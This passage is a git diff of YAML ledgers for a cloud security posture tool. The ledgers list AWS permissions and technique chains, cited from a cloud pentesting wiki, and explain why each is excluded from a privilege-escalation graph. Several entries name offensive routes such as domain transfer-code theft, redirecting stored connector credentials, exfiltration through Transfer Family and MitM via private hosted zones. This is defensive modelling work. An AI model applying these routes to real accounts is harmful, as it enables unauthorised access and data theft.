src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagelistchannels + source_revision: f2aa915198 + technique: mediapackage:ListChannels + reason: Read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotatechannelcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotatechannelcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateChannelCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotateingestendpointcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotateingestendpointcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateIngestEndpointCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqcreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqcreateuser + source_revision: f2aa915198 + technique: mq:CreateUser + reason: Creates broker users; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateuser + source_revision: f2aa915198 + technique: mq:UpdateUser + reason: Broker user change; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + source_revision: 1fb542ff27 + technique: kafka:UpdateSecurity + reason: Enables unauthenticated access to topics; data exposure, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + source_revision: f2aa915198 + technique: route53domains:GetDomainDetail + reason: Read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + source_revision: fd7d56b0a9 + technique: route53domains:RetrieveDomainAuthCode + reason: Domain transfer credential theft; external asset takeover, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagergetsecretvalue + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetsecretvalue + source_revision: f2aa915198 + technique: secretsmanager:GetSecretValue + reason: Data read; any IAM keys stored in secrets are not modelable from the control plane. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + technique: secretsmanager:PutResourcePolicy + reason: Only the exact same-account IAM-user GetSecretValue self-grant with accepted policy, prior denial, observed new access and KMS authorization is active as aws-secretsmanager-putresourcepolicy-self-grant. Cross-account, other-principal and unreviewed policy grants remain excluded. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssubscribe + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssubscribe + source_revision: f2aa915198 + technique: sns:Subscribe + reason: Message data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snsaddpermission + source_revision: a53b46392c + technique: sns:AddPermission + reason: Grants topic access; data/messaging access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#invoke-a-lambda-by-abusing-wildcard-sns-permission-no-sourcearn + source_revision: a53b46392c + technique: Lambda invocation via wildcard SNS permission (no SourceArn) + reason: Invokes fixed Lambda code with attacker input; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqsaddpermission + source_revision: a53b46392c + technique: sqs:AddPermission + reason: Grants queue access; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocscreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocscreateuser + source_revision: fd7d56b0a9 + technique: workdocs:CreateUser + reason: Application-level user in WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocs-activity-metadata-and-content-read-chain + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocs-activity-metadata-and-content-read-chain + source_revision: f2aa915198 + technique: WorkDocs activity/metadata/content read chain + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsaddresourcepermissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsaddresourcepermissions + source_revision: f2aa915198 + technique: workdocs:AddResourcePermissions + reason: Document access; data only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + technique: workdocs:UpdateUser + reason: Application-level role change inside WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputtargets--eventsputevents--invoke-a-resource-policy-authorized-lambda + source_revision: a53b46392c + technique: events:PutTargets + events:PutEvents + reason: PutTargets can attach a Lambda to an exact rule and PutEvents can supply matching input only if the rule, bus and Lambda invoke policy align. Fixed invocation does not expose its execution role. A principal edge needs reviewed handler behavior showing that source-controlled event fields drive a useful privileged AWS action under that exact role; this input-to-action witness is not collected. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputpermission--self-grant-publishing-through-a-bus-policy + source_revision: a53b46392c + technique: events:PutPermission + reason: Grants event-bus publishing; input injection only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputrule--enable-a-disabled-rule-with-its-existing-target + source_revision: a53b46392c + technique: events:PutRule (enable disabled rule) + reason: PutRule can re-enable an existing disabled rule, but omitted rule fields may be replaced and break its pattern or schedule. The target can run only if the complete rule fires and its invocation is authorized. Fixed target execution does not expose a role unless reviewed target behavior turns the event into a useful privileged AWS action; that witness is not collected. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsstartreplay--replay-retained-events-into-unchanged-targets + source_revision: a53b46392c + technique: events:StartReplay + reason: StartReplay re-emits retained archive events without changing their payload, rule or target. A principal edge needs the exact archive interval, a retained matching event, the bus/rule/target authorization chain and reviewed target behavior yielding additional authority. Archive contents and handler effects are not joined, so replay permission alone remains outside the automatic graph. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + source_revision: f2aa915198 + technique: events:UpdateApiDestination + reason: Exfiltrates third-party API credentials from a connection; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + source_revision: fd7d56b0a9 + technique: route53:CreateHostedZone + ChangeResourceRecordSets + acm-pca:IssueCertificate + GetCertificate + reason: Traffic interception (MitM) of in-VPC clients; no IAM principal is obtained directly. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + source_revision: f2aa915198 + technique: ALB access-log exfiltration + reason: Exfiltration of request metadata; data only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: a53b46392c + technique: elasticmapreduce:CreateEditor + PassRole (EMR Notebooks) + reason: 'Outdated: legacy EMR Notebooks editor API is not in the current service model; cannot be verified.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: a53b46392c + technique: elasticmapreduce:OpenEditorInConsole + reason: Outdated legacy notebook path; the page itself documents it as a boundary/non-path. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddPermission (alone) + reason: Grants invoke on existing fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Expose an existing AuthType NONE Function URL + reason: Exposure of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddLayerVersionPermission + reason: Shares layer code (read); data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-mitm + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-mitm + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Lambda MitM + reason: Requires prior code execution in the function; persistence/interception, not a new edge. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:PutProvisionedConcurrencyConfig + reason: Triggers init of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunction + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunctionConfiguration + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetLayerVersion + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance + source_revision: f2aa915198 + technique: rds:CreateDBInstance into an existing Aurora cluster + reason: Does not provide database credentials; no new identity without an existing DB login. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatebluegreendeployment-rdsaddroletodbcluster-iampassrole-rdsswitchoverbluegreendeployment + source_revision: a53b46392c + technique: rds:CreateBlueGreenDeployment + AddRoleToDBCluster + PassRole + SwitchoverBlueGreenDeployment + reason: The extra blue/green actions do not by themselves provide a database login or an IAM role session. The underlying AddRoleToDBCluster route remains a conditional candidate requiring exact database, integration and effective authority joins. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketpolicy + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketPolicy + reason: 'Grants bucket data access. Evaluator note: treat as implying s3:PutObject on that bucket for the artifact entries (s3/glue/emr/sagemaker/elasticbeanstalk).' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getbucketacl-s3putbucketacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getbucketacl-s3putbucketacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetBucketAcl + s3:PutBucketAcl + reason: Grants bucket data access (only when ACLs are enabled); same evaluator note as PutBucketPolicy. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectacl-s3putobjectacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectacl-s3putobjectacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectAcl + s3:PutObjectAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectVersionAcl + s3:PutObjectVersionAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketcors + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketcors + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketCORS + reason: Browser cross-origin data access; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:CreatePresignedMlflowTrackingServerUrl + sagemaker-mlflow:* + reason: MLflow UI/artifact data access; no execution role obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateapp-sagemakercreatepresigneddomainurl + source_revision: a53b46392c + technique: sagemaker:CreateApp + CreatePresignedDomainUrl + reason: Subsumed by aws-sagemaker-createpresigneddomainurl (same target set, fewer permissions). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:StartPipelineExecution + reason: Runs fixed pipeline steps with attacker parameters; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:RetryPipelineExecution + reason: Replays fixed steps; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: datazone:CreateUserProfile + reason: A profile alone grants nothing; project membership (separate control) is needed to reach project roles. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + source_revision: f2aa915198 + technique: servicecatalog:GetProvisionedProductOutputs + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:StartAssociationsOnce + reason: Runs fixed associations on fixed targets; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameter(s) + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameterHistory + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:ListCommands + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetCommandInvocation + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#codebuild + source_revision: a53b46392c + technique: SSM to CodeBuild session + reason: Cross-reference to the CodeBuild page (other agent); no SSM permission combination here. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + source_revision: a53b46392c + technique: synthetics:StartCanary + reason: Runs fixed canary code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + source_revision: a53b46392c + technique: transfer:UpdateConnector + reason: Captures a third-party SFTP credential; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + source_revision: f2aa915198 + technique: transfer:StartFileTransfer + reason: Data exfiltration through a fixed connector role (the role only reads/sends files the caller selects); data access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..84099257d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml @@ -0,0 +1,52 @@ +# Role targets removed where the service exposes only bounded operations. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#createflowupdateflow--iampassrole-to-aws-glue-catalog-authority + technique: aws-appflow-passrole-glue-catalog + reason: AppFlow can make selected Glue Data Catalog metadata writes through the passed role, but does not give + Alice that role session or its general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchcreateplan--updateplan--iampassrole--run-steps-as-the-execution-role + technique: aws-arc-region-switch-passrole-createplan + reason: ARC can run only configured plan step types through the role; the target cannot be the full passable IAM + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#ssm-run-command-step--execute-on-a-managed-node + technique: aws-arc-region-switch-ssm-sendcommand-host-role + reason: A plan can call SSM SendCommand through its execution role and may reach a selected managed node's IAM role. CSPM does not yet join the command document and parameters, plan execution path, online node, and node-to-role binding; plan write and PassRole alone cannot produce this edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgetscreatebudgetaction-iampassrole--budgetsexecutebudgetaction--attach-a-policy-through-a-budget-action + technique: aws-budgets-passrole-createbudgetaction + reason: Budget actions have three bounded operation types, and RUN_SSM_DOCUMENTS can only stop EC2 or RDS + instances. An exact IAM policy attachment may grant a controlled principal permissions, but the retired entry + targets the full passed role without proving an existing budget, triggered action, attach authority and recipient gain. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbotcreateslackchannelconfiguration--createmicrosoftteamschannelconfiguration--iampassrole + technique: aws-chatbot-passrole-create-channel-configuration + reason: Chat CLI requests are constrained by channel guardrails. The full role target overstates the authority + actually available. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreatemediainsightspipelineconfiguration--iampassrole + technique: aws-chime-passrole-mediainsightspipelineconfiguration + reason: The media pipeline can read/write only configured media sources and sinks; the entry explicitly says this + is not a role session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasynccreatelocations3-datasynccreatetask-datasyncstarttaskexecution-iampassrole + technique: aws-datasync-passrole-createlocations3-createtask + reason: DataSync transfers selected S3 data through the role; it does not yield the role identity or broad IAM + permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#updateexperimenttemplate--startexperiment-through-the-stored-role + technique: aws-fis-updateexperimenttemplate-startexperiment + reason: FIS can perform only configured experiment actions through its stored role, so a full-role escalation + edge is unsupported. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftmodifyclusteriamroles-iampassrole--redshift-serverlessupdatenamespace-iampassrole---repoint-the-databases-aws-role + technique: aws-redshift-passrole-attach-warehouse-role + reason: Attaching a role to a Redshift warehouse yields only SQL integration operations, not the full IAM role + session or permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3createjob-s3-batch-operations-iampassrole--mass-copyexposelock-a-whole-bucket-as-a-passed-role + technique: aws-s3-batchoperations-passrole-createjob + reason: S3 Batch Operations executes a bounded S3/Lambda job. The source does not gain general access to the passed + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--connect-a-bucket-through-a-service-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--mount-any-buckets-data-as-a-chosen-role + technique: aws-s3files-passrole-createfilesystem + reason: S3 Files synchronizes a selected bucket or prefix through its service role, subject to role, bucket and KMS authorization. A separate authorized NFS client is required for file access; the caller does not receive the role's credentials or its general IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transfercreateuserupdateusercreateaccessupdateaccess--iampassrole--attach-a-chosen-role-to-an-sftp-identity + technique: aws-transfer-passrole-createuser-access + reason: Transfer Family grants file access scoped to S3/EFS locations through its role, not the full passed role + identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#managed-workflow-role-abuse--execute-storage-actions-on-upload + technique: aws-transfer-workflow-passrole-updateserver + reason: Transfer workflow steps are fixed copy/tag/delete/decrypt/Lambda operations, not arbitrary IAM role permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..df6cb36747 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml @@ -0,0 +1,82 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/cognito-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: 171e422299 + technique: Set the roles of an identity pool the source can obtain credentials from + reason: SetIdentityPoolRoles and PassRole do not prove the source can obtain any + identity-pool login/token; role aud/amr and chosen pool are not joined. + prior_id: aws-cognito-setidentitypoolroles-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 171e422299 + technique: Add a provider the source controls to an identity pool + reason: The action may enable unauthenticated identities, but the target set includes + authenticated and rule-mapped roles without a verified source token or role slot. + prior_id: aws-cognito-updateidentitypool +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminaddusertogroup + source_revision: 171e422299 + technique: Add a user-pool user the source controls to a group with an IAM role + reason: No source-controlled user credential or token-based group role mapping is + proved; group administration alone gives the source no role. + prior_id: aws-cognito-adminaddusertogroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreategroup--cognito-idpupdategroup-iampassrole + source_revision: 171e422299 + technique: Create or update a user-pool group with a passed role + reason: Creating/updating a group does not prove the source controls a member or + that this user pool/pool role mapping issues the passed role. + prior_id: aws-cognito-creategroup-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminconfirmsignup + source_revision: 171e422299 + technique: Confirm a self-registered user-pool user + reason: Self-signup and ownership of the confirmed user are unverified; the target + selector includes rule-mapped roles without token claims. + prior_id: aws-cognito-adminconfirmsignup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmincreateuser + source_revision: 171e422299 + technique: Create a user in a user pool + reason: The source may create a user, but the selector includes rule-mapped roles + without verified app-client sign-in, token claims or the exact role slot. + prior_id: aws-cognito-admincreateuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminsetuserpassword + source_revision: 171e422299 + technique: Set the password of an existing user-pool user + reason: Usable sign-in of a particular user (including MFA) 